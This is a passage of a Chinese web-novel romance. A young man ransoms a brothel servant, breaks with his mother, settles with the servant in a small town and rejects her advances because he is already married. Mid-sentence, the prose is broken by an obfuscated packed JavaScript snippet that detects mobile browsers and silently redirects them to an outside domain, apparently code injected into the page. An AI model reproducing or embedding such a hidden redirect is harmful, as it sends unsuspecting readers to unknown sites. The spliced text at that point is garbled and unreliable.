肖晨一脸茫然,打量着周围这些陌生女子,警惕地反问:“你们是谁?” 几个女子相视一笑,发出一阵银铃般的笑声。站在最前面的女子,轻摇手中的帕子,眼波流转,调侃道:“看来公子还是个雏儿呢。连我们都不知道,这可是香满楼呀!” 肖晨听闻“香满楼”三个字,心中一凛,瞬间明白过来这是什么地方。他眉头微皱,有些尴尬又有些无奈,说道:“我本就路过此地,无意冒犯。还请各位姑娘让让。”说罢,便想从人群中挤出去。 可这些女子似乎并不打算轻易放过他,另一个女子伸手轻轻拉住他的衣袖,娇嗔道:“公子这般着急走做什么?难得来一趟香满楼,不如进去坐坐,我们姐妹定当好好招待公子。”周围的女子也纷纷附和,场面一时有些僵持不下。 肖晨一脸窘迫,急忙说道:“不用,我真没有这种想法,你们放开我吧。”然而,这些女子哪肯轻易罢休。 一个女子掩嘴轻笑,眉眼间透着狡黠:“多好的机会呀,公子都不进来坐坐。” 肖晨心中一阵烦闷,左右环顾,一时间竟想不出自己还能去哪。犹豫片刻后,他无奈地说道:“那……我进去,坐哪儿?” 女子们一听,顿时喜笑颜开。方才拉他衣袖的女子亲昵地挽住他的胳膊,娇声道:“公子这边请,楼上雅间宽敞舒适,最适合公子了。”说罢,便簇拥着肖晨往楼里走去。 踏入香满楼,内部装饰奢靡华丽,雕梁画栋,轻纱幔帐随风摇曳。空气中弥漫着淡淡的脂粉香和熏香混合的味道。肖晨被带到楼上一间雅间,刚一坐下,就有女子忙着倒茶,另有女子笑意盈盈地挨着他坐下,问道:“公子,想听曲儿还是看舞呀?” 肖晨有些不自在地坐在那儿,面对周围莺莺燕燕的热情,连忙摆手道:“都不用。你们把刚才跟我说话,在街上掉花砸到我的那位女子叫来就行。”说着,他从怀中掏出一锭银子,扬了扬,“谁要是能把她请来,这银子就是谁的了。” 众女子听闻,眼睛顿时亮了起来。其中一个反应快的,立刻起身说道:“公子稍等,我这就去寻她。”说罢,匆匆离开雅间。 剩下的女子们也没闲着,有的继续给肖晨斟茶,有的在一旁轻言细语地说着俏皮话,试图逗肖晨开心。但肖晨心思全在等那位掉花的女子上,只是礼貌性地应付着。 不多时,出去的女子回来了,身后还跟着那位身着淡粉色罗裙的女子。肖晨一见,赶忙起身。淡粉罗裙女子略带惊讶地看着肖晨,福身行礼道:“公子,不知找小女子所为何事?” 肖晨笑了笑,示意她坐下,说道:“只是想与姑娘单独聊聊,并无他意。”说罢,他将手中的银子递给先前去找人的女子,那女子欢天喜地地接过,退了出去,还贴心地带上了门。 她见门关上,神色有些紧张,轻声说道:“公子,刚才是我不对,可我不陪客的。” 眼神中满是戒备。 肖晨赶忙摆摆手,温和地说道:“我又没让你陪我。姑娘不用紧张,就把我当一个普通朋友就好。”他脸上挂着真诚的笑容,试图缓解这略显紧绷的气氛。 女子微微一愣,眼中的戒备之色稍稍褪去了些,但仍带着一丝疑惑,轻声问道:“公子当真只是想与小女子做朋友?” 肖晨点了点头,说道:“自然。方才在街上匆匆一面,我觉得姑娘性情纯善,就想与姑娘交个朋友,聊聊天。在这世上,能遇到投缘之人实属不易。”他语气诚恳,希望能让女子安心。 女子听了肖晨这番话,神色渐渐放松,轻轻抿嘴一笑,说道:“既然公子如此说,那小女子便恭敬不如从命了。只是小女子出身卑微,怕是……” 肖晨连忙打断她的话:“姑娘切莫妄自菲薄。交朋友看重的是心,而非出身。” 他的目光中满是真挚,希望能与这位女子建立起一份简单纯粹的友谊。 肖晨一脸关切地说道:“你怎么会在这里呀?你刚才要真是把花朵砸在别人头上,可就危险了,她们可没有我这么好说话。” 女子微微低下头,神情有些黯然,轻声说道:“实不相瞒,我家中遭遇变故,为了生计才来到这香满楼做些杂役。今日也是一时疏忽,才差点闯下大祸,幸亏遇见公子您这般宽厚之人。” 肖晨心中不禁泛起一丝同情,说道:“唉,世事无常,着实不易。但在这鱼龙混杂之地,你往后行事还是要多小心才是。若是再遇到什么难处,不妨说与我听听,能帮上忙的,我定会尽力。” 女子抬起头,眼中闪过一丝感动,说道:“多谢公子关怀,小女子何德何能,能得公子如此关照。只是小女子不想再给公子添麻烦。” 肖晨笑了笑,安慰道:“别这么见外,咱们既已相识,便是朋友。朋友之间,相互帮衬是应该的。” 他的笑容温暖而真诚,希望能给这位身处困境的女子一些力量。 女子眼中泪光闪烁,声音带着一丝哽咽说道:“谁能跟我这样的人做朋友,像我这样的女子,以后也只是卖笑的命运,从来没有人拿我当人看。” 肖晨心中一揪,看着她满是悲戚的面容,认真且坚定地说道:“我愿意与你做朋友,在我眼中,你与旁人并无不同,都是值得尊重的。命运并非一成不变,你怎可这般妄自菲薄。”他目光灼灼,透着不容置疑的真诚。 女子微微一怔,似乎从未想过会有人这般对自己说话。她嘴唇轻颤,泪水忍不住夺眶而出:“公子……您的话,小女子从未听过。长久以来,大家都觉得我不过是这风尘之地的卑微女子,生来就该任人轻贱。” 肖晨眉头微皱,语气中满是不平:“这世间偏见太多,实在荒谬。每个人都有自己的尊严和价值,怎能因身处何地就被随意评判。你若信得过我,往后有任何打算,我都愿助你一臂之力,脱离这……”他环视四周,微微皱眉,“脱离这让你不快之地。” 女子眼中燃起一丝希望,却又带着几分不敢置信,急切问道:“你说的可是真的?只是我这样要出去谈何容易。” 肖晨毫不犹豫,目光坚定地看着她:“自然是真。你且告诉我,你的赎身银子是多少?到时候我帮你便是。” 女子咬了咬嘴唇,犹豫片刻后,声音低低地说道:“妈妈说了,若要赎身,需一百两银子。可这对我来说,简直是天文数字。公子,您……您真愿意为我出这笔钱?”说罢,她眼中满是期盼与担忧交织的复杂神情。 肖晨轻轻点头,神色沉稳:“一百两银子虽不是小数目,但并非凑不出来。你放心,只要你真心想离开,我定会想办法。不过此事还需从长计议,我们得找个稳妥的法子,既能顺利赎你出去,又不惹出麻烦。” 女子感动得泪水再次滑落,她“扑通”一声跪下,哽咽道:“公子大恩,小女子无以为报。若能脱离此处,往后愿为公子做牛做马。” 肖晨赶忙上前扶起她,说道:“快别这样,我帮你并非图你回报。只盼你能脱离苦海,过上舒心日子。起来说话,莫要行此大礼。” 女子态度坚决,认真说道:“公子,若您不接受我的报答,我实在不能心安理得接受您这莫大的恩惠。” 肖晨无奈地笑了笑,略带调侃地说:“你怎么这么执着。那你说说,你想怎么报答我?不会是要以身相许吧?”说完,他好奇地看着女子,想知道她心中的想法。 女子脸色微微一红,连忙摆手道:“公子误会了,小女子并非此意。只是在这世上,小女子孑然一身,实在没什么拿得出手的东西。若公子不嫌弃,往后小女子愿为您打理家务,洗衣做饭,以报公子恩情。”她眼神真挚,言语诚恳,满心希望肖晨能答应。 肖晨思索片刻,觉得女子一片赤诚,若执意拒绝,恐怕会伤她的心。于是说道:“既然如此,那便依你。但你也别把自己当成下人,我只当多了个朋友,大家相互照应便是。等你赎身出来,我们再从长计议往后的日子。” 女子感激涕零,连连点头:“多谢公子成全,小女子定不会让公子失望。”此刻,她心中对未来的生活燃起了前所未有的希望,对肖晨的感激之情更是难以言表。 肖晨看着她,目光温和:“你在这儿用花命名,那想必还没有自己真正的名字吧。不如,我帮你想一个。就叫做玉溪,玉,自古便是美的代名词,象征着美好纯净,希望你以后的生活能如水一般清澈,顺遂无忧。” 女子听闻,眼中满是惊喜与感动,轻声念道:“玉溪……这名字真好听,多谢公子赐名。从今日起,我便叫玉溪了。”她微微低头,一抹红晕悄然爬上脸颊,新名字仿佛给她灰暗的生活注入了一道曙光。 肖晨笑着点点头:“好,玉溪。往后你有了新名字,也会有全新的生活。我这就着手准备银子,尽快帮你赎身。只是这过程或许得费些时日,你在这儿还需暂且忍耐。” 玉溪赶忙说道:“公子费心了,小女子明白。能得公子相助,玉溪已感激不尽,愿意等候。”她抬头看向肖晨,眼神中充满信任与依赖,仿佛此刻肖晨就是她在这世间唯一的依靠。 肖晨神色有些尴尬,犹豫片刻后说道:“实不相瞒,我今天跟家里闹了点别扭,心里烦闷得很,现在实在不想回去。我能不能在你这里住几天?你放心,我不会给你惹麻烦,也千万别把我的事情透露给别人知道了。” 玉溪微微一愣,面露难色,但看着肖晨满是疲惫与无奈的神情,心中又不禁泛起一丝同情。她思索了会儿,轻声说道:“公子,这香满楼人多嘴杂,怕是不太方便。不过,小女子在附近有间小屋子,虽是简陋了些,但胜在清净,公子若不嫌弃,可去那里暂避几日。只是……” 肖晨连忙说道:“不嫌不嫌,能有个地方落脚就好。你放心,若有不便之处,你尽管说。” 玉溪轻轻摇头:“倒也不是不便,只是怕委屈了公子。那屋子许久未住人,我需先去收拾一番。公子且在此稍等,我尽快回来。”说罢,她福了福身,匆匆离去。 肖晨看着玉溪离去的背影,心中默默感慨,在这与家中闹翻的困境时刻,竟能得她这般相助,实在难得。他暗自思忖,日后定要好好报答这份情谊,尽快帮她脱离苦海。 不多时,玉溪便回来了,她告知肖晨屋子已经收拾妥当。肖晨跟着玉溪,七拐八拐,来到了那间小屋。 屋子确实不大,陈设也极为简单,一张床、一张桌子和几把椅子便是全部家当,但收拾得干净整洁,还散发着淡淡的皂角香气。肖晨环顾四周,心中涌起一股别样的温暖,在这陌生又复杂的环境里,竟有了一处暂时的安身之所。 “公子,您就暂且在这里住下吧。虽然简陋,好在能遮风挡雨。”玉溪有些局促地说道。 肖晨赶忙笑着回应:“已经很好了,玉溪,真的多谢你。若不是你,我都不知该如何是好。” 接下来的几日,肖晨便在这小屋里住了下来。玉溪每日忙完香满楼的活计,便会抽空过来,给肖晨送些吃食,陪他说说话。两人渐渐熟络起来,谈话也愈发深入。 肖晨跟玉溪讲述着自己心中那些奇奇怪怪的想法,还有他所憧憬的不一样的生活,比如人人平等,女子也能读书识字、抛头露面做一番事业。玉溪总是静静地听着,眼中满是好奇与向往,那些新奇的观念仿佛为她打开了一扇通往新世界的大门。 而玉溪也会跟肖晨诉说自己的过往,家中如何遭遇变故,又是怎样被迫来到香满楼。她言语间虽满是无奈,却从未放弃对未来的期望。肖晨愈发觉得玉溪坚韧又善良,暗下决心一定要尽快凑够银子帮她赎身。 然而,世上没有不透风的墙。肖晨离家多日未归,肖家早已乱成一团。肖母懊悔不已,每日以泪洗面,差人四处寻找肖晨的下落。终于,有眼尖的下人发现了肖晨与玉溪接触的蛛丝马迹,赶忙回肖家告知了肖母。 肖母听闻儿子竟与香满楼的女子往来密切,还住在女子的屋子,顿时气得火冒三丈。她觉得定是那女子狐媚勾引自家儿子,当下便决定带着家丁,去那小屋将肖晨强行带回家。 当肖母气势汹汹地带着人赶到小屋时,肖晨和玉溪正坐在桌前交谈。门突然被撞开,肖晨和玉溪皆是一惊,抬头便看到满脸怒容的肖母。 “你这个逆子,竟躲在这里与这等女子厮混!”肖母手指着肖晨,气得浑身发抖。 肖晨赶忙起身,挡在玉溪身前,说道:“母亲,您误会了,玉溪她不是您想的那种人。” 肖母哪里听得进去,大声呵斥道:“哼,不是那种人?你为了她,几日不归家,还住在这不清不楚的地方。今日,你必须跟我回去!” 玉溪吓得脸色苍白,她没想到会突然发生这样的事,嗫嚅着说道:“公子,老夫人,都怪小女子,是小女子的错……” 肖晨转头安慰玉溪:“你别怕,有我在。”而后又看向肖母,坚定地说:“母亲,我不会跟您回去的。您若执意如此,只会让事情变得更糟。” 肖母瞪大了眼睛,不可置信地看着肖晨,质问道:“你真的要为了她留在这里?”眼中满是痛心与愤怒。 肖晨深吸一口气,认真地说道:“母亲,我又没做什么出格的事情。玉溪她身世可怜,我只是想帮她。您要是真看不惯,可以回去。就算我离开了这里,我还是会去其他地方的,我不想再按照您安排的路走下去了。”他的眼神坚定,透着一股不容动摇的决心。 肖母气得浑身发抖,手指着肖晨,声音颤抖地说:“好,好得很!你为了一个不知来历的女子,竟然这般忤逆我。我含辛茹苦把你养大,你就是这样报答我的?”说罢,她的眼眶红了起来。 肖晨心中一阵刺痛,语气稍微缓和了些:“母亲,我知道您养育我不易,可我也有自己的想法和判断。玉溪并非您所想的那般不堪,她善 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993171|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 良且坚韧。我只是想帮她摆脱困境,这难道有错吗?” 肖母冷哼一声:“善良?在那种地方出来的女子,能有多善良?你被她迷了心智,竟说出这般糊涂话。今日你若不跟我回去,就别再认我这个母亲!”她下了最后通牒,希望能以此让肖晨回心转意。 肖晨看着肖母,内心无比纠结。一边是生养自己的母亲,一边是想要帮助的玉溪以及对自由生活的向往。沉默片刻后,他缓缓说道:“母亲,对不起。但我心意已决,还望您能理解。” 肖母听到这话,如遭雷击,踉跄了几步,险些摔倒。身后的家丁赶忙上前扶住她。她用手帕捂住脸,哭着说道:“罢了,罢了,你……你就当没有我这个母亲吧!”说完,在众人搀扶下转身离去。 看着母亲离去的背影,肖晨心中五味杂陈,满是愧疚。玉溪在一旁看着这一幕,泪水也忍不住流了下来,她轻声说道:“公子,都怪我,让您和老夫人闹成这样……” 肖晨轻轻摇头:“这不怪你,是我和母亲观念不同。事情发展到这一步,我也不想看到,但我不会后悔自己的决定。玉溪,我们继续想办法帮你赎身,等你脱离苦海,一切都会好起来的。”他的目光重新变得坚定,似乎在给自己也给玉溪打气。 玉溪满脸泪痕,焦急地说道:“公子,我不能接受你的帮助了。你为了我,和老夫人闹到如此地步,我怎能心安。你这样,让你的母亲怎么办?”她眼中满是自责与担忧,觉得自己成了破坏他们母子关系的罪魁祸首。 肖晨神色凝重,沉思片刻后说道:“玉溪,事已至此,即便我现在回头,母亲和我之间的隔阂也已种下。在这里,我确实也不能留下去了。你去找鸨母来吧,我当面和她谈你的赎身之事。”他心意已决,语气中透着一股毅然决然。 玉溪犹豫了,她深知肖晨此举的艰难,也明白自己一旦去找鸨母,肖晨便再无退路。可看着肖晨坚定的眼神,她知道自己无法改变他的决定。咬了咬牙,玉溪转身快步朝香满楼走去。 不多时,玉溪带着鸨母来到了小屋。鸨母一身华丽服饰,脸上挂着世故的笑容,眼神却精明算计。一进门,她便打量起肖晨,阴阳怪气地说道:“哟,这位公子,听闻您要替玉溪赎身呐?” 肖晨镇定地迎上鸨母的目光,说道:“没错。你开个价吧,只要合理,我绝不还价。” 鸨母眼中闪过一丝惊喜,她原本以为只是个寻常恩客,没想到竟遇到个愿意为姑娘赎身的冤大头。略作思索,她伸出一根手指,说道:“既然公子如此爽快,那老身也不啰嗦,一百五十两银子。少一文,这姑娘可就走不了。” 肖晨眉头微皱,他虽知道鸨母狮子大开口,但此时也不想过多纠缠。沉吟片刻后,说道:“好,一百五十两就一百五十两。但我有个条件,银子给你之后,你必须立即给玉溪自由,从此不得再为难她。” 鸨母脸上堆满了笑,连连点头:“公子放心,只要银子到手,老身保证绝不再干涉玉溪分毫。” 肖晨当下便取出身上所带银票,又写了封信,让小厮速回肖家去取剩余银两。他心中清楚,这赎身之事办完,自己与肖家的关系怕是更加难以挽回,但他看着一旁忧心忡忡的玉溪,觉得一切都值得。 不多时,小厮带着银两返回。肖晨将银子交给鸨母,鸨母仔细查验无误后,从怀中掏出一份契约,当着众人的面撕得粉碎,笑着说道:“从今日起,玉溪便与我香满楼再无关系了。” 玉溪看着地上的碎契约,泪水再次夺眶而出。她满心感激地看向肖晨,一时竟不知该如何表达自己的心情。而肖晨看着重获自由的玉溪,心中也松了一口气,他知道,接下来自己和玉溪都将面临未知的前路,但此刻,他只希望能带着玉溪一起,开启新的生活。 肖晨转过身,对着身旁忠诚的小厮阿成,神情严肃且满是嘱托之意:“阿成,以后我不在家里,母亲就全靠你多照应着了。你也知道,她这脾气,又爱操心,往后凡事多顺着她些。还有,家里的钱以后就不要给我了,我既然决定离开,就打算靠自己。” 阿成眼眶泛红,声音带着一丝哽咽,点头应道:“公子放心,阿成定会尽心尽力照顾老夫人,您在外面也要多多保重自己。” 肖晨微微颔首,拍了拍阿成的肩膀,随后看向玉溪,目光柔和下来:“玉溪,看看你有什么行李,收拾一下,咱们这就走吧。” 玉溪轻轻点头,她环视这简陋却承载了这段特殊时光的小屋,走到床边,拿起一个小小的包裹,里面装着几件旧衣物和她视若珍宝的一支木簪。她微微攥紧包裹,转身对肖晨说道:“公子,我好了,咱们走吧。” 肖晨牵起玉溪的手,迈出小屋。阳光洒在他们身上,仿佛预示着新的开始。阿成望着两人离去的背影,心中满是不舍,但也暗暗发誓,一定会遵照公子的嘱托,照顾好老夫人。 肖晨和玉溪沿着街道缓缓前行,未来的路充满未知。肖晨虽心中牵挂母亲,但也明白自己的选择无法回头。他侧头看向玉溪,眼中满是坚定与温柔:“玉溪,别怕,往后无论遇到什么,我都会陪着你。咱们一起去寻个安稳的地方,好好生活。” 玉溪抬头看着肖晨,眼中闪烁着泪光与希望:“嗯,公子,只要能和您一起,玉溪什么都不怕。” 肖晨带着玉溪来到了一个宁静祥和的小镇。小镇青石板路蜿蜒,街边店铺林立,透着别样的烟火气。 他们在镇中寻到一处院子准备租住。房主是个热情的大婶,看到肖晨和玉溪一同前来,上下打量一番后,满脸笑意,笃定地说:“哟,瞧你们俩,一看就是恩爱的小夫妻。这位小郎君长得可真俊呐,姑娘你可真是好有福气。” 玉溪一听,脸颊瞬间绯红,羞涩地低下了头。肖晨也有些不好意思,不过还是礼貌地笑了笑,解释道:“大婶,我们……”话未说完,玉溪轻轻扯了扯他的衣角,抬头用略带祈求的眼神看着他,示意他别否认。肖晨一愣,随即明白玉溪或许是觉得以夫妻之名在此居住,能省去许多麻烦和闲言碎语,便将到嘴边的话咽了回去。 大婶没注意两人这细微的互动,自顾自地接着说:“这院子啊,干净又敞亮,租金也公道。你们小两口住进来,保管舒心。”肖晨点点头,说道:“大婶,看这院子确实不错,我们租了。” 当下,双方谈好租金,肖晨付了银子。大婶乐呵呵地将钥匙交给肖晨,又热情地指点着屋内各处:“这灶火啊,用起来可方便了,那边水缸,打水也近。有啥事儿,尽管来问我。” 待大婶离开后,肖晨和玉溪走进院子。院内有几株不知名的花草,散发着淡淡香气。玉溪环顾四周,脸上露出一丝欣喜:“公子,这儿感觉真好,以后……我们就要在这儿生活了。” 肖晨看着玉溪,心中满是对新生活的期待:“嗯,这里会是我们新的开始。往后,咱们就安心在这小镇过日子。” 玉溪微微皱眉,眼中闪过一丝担忧:“公子,你就这样离开家里,万一他们找过来怎么办?肖家有权有势,我们……” 肖晨轻轻握住玉溪的手,安抚道:“别想那么多啦,离开他们,我才真正觉得自由。我既然做了这个决定,就不怕面对后果。而且这小镇偏僻,他们未必能找过来。就算真找来了,我也有办法应对。”他目光坚定,试图驱散玉溪心中的忧虑。 接着,肖晨环顾略显空荡的院子,说道:“咱们先把生活安顿好。你去集市上买一个大床,再多买点被褥,还有布匹。有了这些,基本就能生活了。我呢,也琢磨着在镇上寻个营生,往后的日子肯定会越来越好。” 玉溪听着肖晨的话,心中的担忧稍稍减轻,她用力点了点头:“好,公子,我这就去办。”说罢,便带着钱袋出门而去。 集市上热闹非凡,人来人往。玉溪穿梭在各个摊位之间,精心挑选着大床。她看中了一款木质坚实、雕花精美的床,想着肖晨睡在上面一定舒适。选好床后,又去挑选被褥,摸了又摸,挑出最柔软暖和的。买完这些,她又来到布摊前,挑选了几种素净又耐用的布匹,想着可以给肖晨和自己做些新衣裳。 待一切购置妥当,玉溪雇了几个伙计,将东西搬回院子。肖晨看到她归来,赶忙迎上前帮忙。两人齐心协力,将床铺好,被褥摆放整齐,又把布匹收进屋内。看着焕然一新的屋子,两人都露出了欣慰的笑容。 “公子,这样我们的家就像个家的样子了。”玉溪眼中满是喜悦。 肖晨看着她,温柔地说:“对,这就是我们的家。往后,不管遇到什么,我们都一起面对。”此刻,阳光透过窗户洒在屋内,映照着他们充满希望的脸庞,温馨而美好。 11. 对不起,我不能爱你 玉溪微笑着说道:“公子,忙了这许久,我去做饭吧,咱们也该好好吃顿热乎饭。”她眉眼弯弯,满是对新生活的期待。 肖晨点头应道:“好呀,辛苦你了。那我先去打点水,一会咱俩可以洗个澡,奔波了这么久,也能好好放松一下。”说完,他便提起水桶,往院子里的水井走去。 来到井边,肖晨熟练地摇起辘轳,清澈的井水缓缓被提了上来。看着那清凉的井水,他想着等会洗去一路的疲惫,往后便能全身心投入这全新的生活,心情也愈发轻松。 另一边,玉溪走进厨房。厨房虽不大,但锅碗瓢盆一应俱全。她先将炉灶生起火,接着从带来的包裹里拿出些简单食材。思索片刻后,决定做一顿简单却可口的饭菜。她淘米下锅,又切了些青菜,准备做个青菜汤,再配上些干粮,虽不丰盛,却也能饱腹。 不一会儿,肖晨提着满满两桶水回到屋内,将水倒入大木盆中。他擦了擦额头上的汗珠,喊道:“玉溪,水准备好了,等你做完饭,咱们就可以舒舒服服洗个澡。” 玉溪在厨房回应道:“好嘞,公子,饭也快好啦。”不多时,饭菜的香气弥漫开来。玉溪端着热气腾腾的饭菜来到桌上,招呼肖晨:“公子,快来吃饭吧。” 两人坐在桌前,吃着简单的饭菜,却觉得格外香甜。饭后,肖晨先让玉溪洗澡。玉溪走进房间,关上房门,褪去身上的尘埃与疲惫。待她洗完,肖晨也走进房间,享受这片刻的惬意与放松。 洗完澡后,两人坐在院子里,月光如水洒在身上。肖晨看着玉溪,轻声说道:“玉溪,这就是我们的新生活,虽然简单,但我相信会越来越好的。”玉溪点头,眼中闪烁着光芒:“嗯,公子,只要和你在一起,我什么都不怕,未来一定会很美好的。” 肖晨望着月色,轻声开口:“玉溪,如今你已脱离苦海,往后的日子还长,你有想过怎么生活吗?或许找个好人家成家,如此你的生活或许会顺遂很多。” 玉溪听闻,心中猛地一紧,脸上的笑容瞬间凝固。她微微低下头,沉默片刻后,声音带着一丝颤抖说道:“公子,您……为何突然这么说?难道,您是想赶我走?”说罢,她抬起头,眼中满是委屈与不解,直直地看向肖晨。 肖晨见玉溪误会,赶忙解释:“玉溪,你别误会。我只是觉得你如今自由了,应该有更好的生活。我不想因为我的缘故,耽误你的终身大事。你年轻貌美,心地又善良,定能寻得良人,过上幸福安稳的日子。” 玉溪眼眶泛红,泪水在眼眶里打转:“公子,在这世上,您就是对我最好的人。若不是您,我还在那苦海之中挣扎。我……我不想离开您,也从未想过要另寻他人。这些日子与您相处,玉溪早已心生情愫,只愿能一直陪伴在您身边。” 肖晨心中一动,看着玉溪深情的模样,一时不知该如何作答。他一直将帮助玉溪脱离苦海视为己任,却未曾想过玉溪对自己竟有这般心意。沉默良久,肖晨缓缓说道:“玉溪,我……我也并赶你走。只是我如今已与家中决裂,前途未卜,不想让你跟着我吃苦。” 玉溪破涕为笑,坚定地说道:“公子,只要能与您在一起,吃苦又何妨?玉溪不怕。无论未来怎样,我都愿与您一同面对。” 肖晨看着玉溪坚定的眼神,心中感动不已。他轻轻握住玉溪的手,说道:“好,既然如此,往后我们便携手同行,共同创造属于我们的生活。” 夜深了,肖晨轻轻走进屋里,缓缓褪去衣物后躺到床上。刚一躺下,他便触碰到一片温热滑嫩,惊得他赶忙转过身。 只见玉溪□□地躺在他身旁。肖晨满脸震惊,结结巴巴地说道:“你……你怎么睡在这里?” 玉溪面色绯红,眼神中却满是坚定,轻声说道:“公子,我已经认定了你,心意绝无更改。” 肖晨赶忙别过头,不敢再看,语气慌乱却又坚决:“不行,我不能娶你,你不能跟我在一起。” 玉溪眼中闪过一丝受伤,却并未退缩,“公子,为何不能?是玉溪哪里做得不好吗?” 肖晨深吸一口气,努力让自己镇定下来,说道:“玉溪,并非你不好,而是我如今的状况太过艰难。与家中闹翻,前途渺茫,我不想你跟着我受苦。而且,我不想让你因我,在这小镇遭人非议。你值得更好的生活,更安稳的归宿。” 玉溪眼中泪花闪烁,“公子,我不在乎这些。能脱离苦海,能与公子相识相知,是玉溪这辈子最幸运的事。无论是苦是难,玉溪都愿与公子一同承担。” 肖晨眉头紧皱,内心痛苦挣扎,“可这对我而言,是拖累你。我希望你能有真正幸福的人生,而不是被我牵连。” 玉溪轻轻拉住肖晨的衣袖,“公子,若您真为玉溪好,就别推开我。没有公子,哪怕生活再好,玉溪也不会幸福。” 肖晨艰难地开口,声音低沉而无奈:“玉溪,我其实已经成家了。那完全是家族的安排,从始至终,我都不想娶她。但家族之命难违,我……只能接受。”他顿了顿,脸上满是痛苦与纠结,“如今,我心里实在没有再娶亲的心思。这段时间,我一直把你当朋友,从未有过别的想法。” 玉溪如遭雷击,原本充满期待的眼神瞬间黯淡,泪水不受控制地夺眶而出。“公子,您为何……为何不早些告诉我?”她的声音带着哭腔,满心的欢喜在这一刻碎成了无数片。 肖晨不敢直视玉溪的眼睛,愧疚地低下头:“我本以为,我们可以就这样以朋友的身份,相互扶持生活下去。我不想让你因为我的家庭状况而失望或者伤心,所以一直没敢说。” 玉溪咬着嘴唇,身体微微颤抖:“可是公子,您知道吗?玉溪满心欢喜地以为,我们可以一起创造未来,以为……您对我也是有情意的。” 肖晨长叹一口气,心中满是自责:“玉溪,是我不好,是我考虑不周,让你产生了误会。但请相信,我对你的关心和帮助,都是真心实意把你当朋友。我希望你能明白我的苦衷,也希望你能找到真正属于自己的幸福。” 玉溪泪流满面,她起身慢慢捡起地上的衣服穿上。“公子,玉溪明白了。只是,玉溪的心已经收不回来了。但既然您已有家室,玉溪也不会再纠缠。往后,玉溪会试着放下。”说完,她头也不回地走出了房间,只留下肖晨独自躺在床上,满心的无奈与愧疚。 玉溪失魂落魄地走出房间,月光洒在她身上,拉出一道孤独而落寞的影子。她走到院子的角落,再也忍不住,放声大哭起来。 她怎么也没想到,肖晨竟然已经成家。是啊,他出身富贵,这样的人家,早早为子女定下亲事再正常不过。自己怎么就这么傻,一直沉浸在幻想之中,以为肖晨对自己有着特殊的情谊,能与自己共度余生。此刻想来,不过是自己一厢情愿,想得太多罢了。 哭声在寂静的夜里显得格外凄凉,泪水不断从她脸颊滑落,打湿了胸前的衣衫。她的心仿佛被撕裂一般疼痛,之前与肖晨相处的点点滴滴,此刻都成了刺痛她的利刃。那些温暖的瞬间,那些以为是爱情的暗示,原来都是自己的误解。 玉溪边哭边自责,恨自己的天真,恨自己不该对这段感情抱有幻想。她深知,从这一刻起,自己与肖晨之间,终究是有了无法逾越的鸿沟。 许久,她的哭声渐渐变小,泪水也流干了。她抬起头,望着夜空,眼神中满是迷茫与无助。往后的路该怎么走,她不知道。但她明白,自己必须试着放下对肖晨的感情,重新寻找属于自己的生活。只是,这心中的伤痛,又岂是一时半会儿能够抚平的呢。 这一夜,对于肖晨和玉溪而言,都如在荆棘丛中辗转。肖晨躺在床上,满心都是对玉溪的愧疚,脑海里不断浮现出她昨夜伤心欲绝的模样,自责像潮水般将他淹没,让他难以入眠。而玉溪,蜷缩在自己临时安置的地方,泪水浸湿了枕头,心中的痛苦如影随形,每一次闭眼,都仿佛能看到肖晨告知她已成家时那无奈的神情,就这样睁眼到天明。 清晨,微弱的阳光透过窗户缝洒进屋内。玉溪早早起身,尽管双眼红肿,神色憔悴,她还是强打起精神走进厨房。往日做饭时心中满是对未来生活的憧憬,今日却只剩满心苦涩。但她还是习惯性地为肖晨准备了早餐,动作机械而麻木。 不多时,肖晨也打开了房门。他一眼便看到坐在桌前的玉溪,脚步顿时一滞。两人的目光交汇,却又迅速错开,谁也没有开口打破这令人窒息的沉默。空气中弥漫着尴尬与沉重的气息,仿佛有一层无形的膜,将两人隔开。 肖晨缓缓走到桌前坐下,看着桌上熟悉的早餐,却没有了往日的食欲。玉溪低着头,手指无意识地揪着衣角,气氛压抑得让人喘不过气来。终于,肖晨艰难地开口,打破了这份死寂:“玉溪,昨晚……”话未说完,却又不知该如何继续。 玉溪抬起头,眼中闪过一丝复杂的情绪,轻声说道:“公子,过去的事就别提了。饭菜快凉了,吃点吧。”她故作镇定的语气里,还是藏不住那一丝难以言说的悲伤。 肖晨张了张嘴,还想说些什么,却又觉得此时任何言语都显得苍白无力。最终,他默默拿起碗筷,只是每一口吞咽,都如同嚼蜡。这顿早餐,在沉默与煎熬中进行着,两人之间的关系,似乎也在这一夜之间,发生了难以逆转的变化。 肖母回到家中,一迈进门槛,整个人仿佛被抽去了力气,瘫坐在椅子上。她满心都是儿子决然的神情,意识到儿子这次恐怕是铁了心不回来了。这让她如何能接受?在她心中,儿子是她的命根子,怎能就此离开。 这时,李傲雪轻移莲步,走到肖母身旁,轻声问道:“娘,少爷还是不肯回来么?” 肖母一听这话,心中的怒火“噌”地一下就冒了起来,转头怒视着李傲雪,呵斥道:“你自己都没用,连个男人都看不住!这几天你都不知道出去找找他吗?成日待在家里,要你有何用!” 李傲雪被骂得脸色一白,眼眶瞬间红了,委屈地说道:“娘,儿媳也想去找少爷,可您之前一直让儿媳待在家中,不让我随意出门。而且,儿媳实在不知少爷去了何处,这才……” 肖母不耐烦地打断她:“哼,少找借口!你身为他的妻子,连自己相公的行踪都摸不透,还有什么脸面辩解?若找不到他,看我怎么收拾你!”说罢,她重重地拍了下桌子,桌上的茶杯都跟着颤了颤。 李傲雪吓得身子一抖,赶忙说道:“娘息怒,儿媳这就想法子去找少爷。只是少爷此次离开,恐怕是心意已决,儿媳怕……” “怕什么怕!”肖母大声喝道,“无论如何,都得把他给我找回来!你若办不好这事,就别想在这肖家待下去!” 李傲雪咬了咬嘴唇,强忍着泪水,低头应道:“是,娘,儿媳定会竭尽全力。”心中却满是无奈与苦涩,她知道,要找回心意已决的肖晨,谈何容易,但面对肖母的逼迫,她又别无选择。 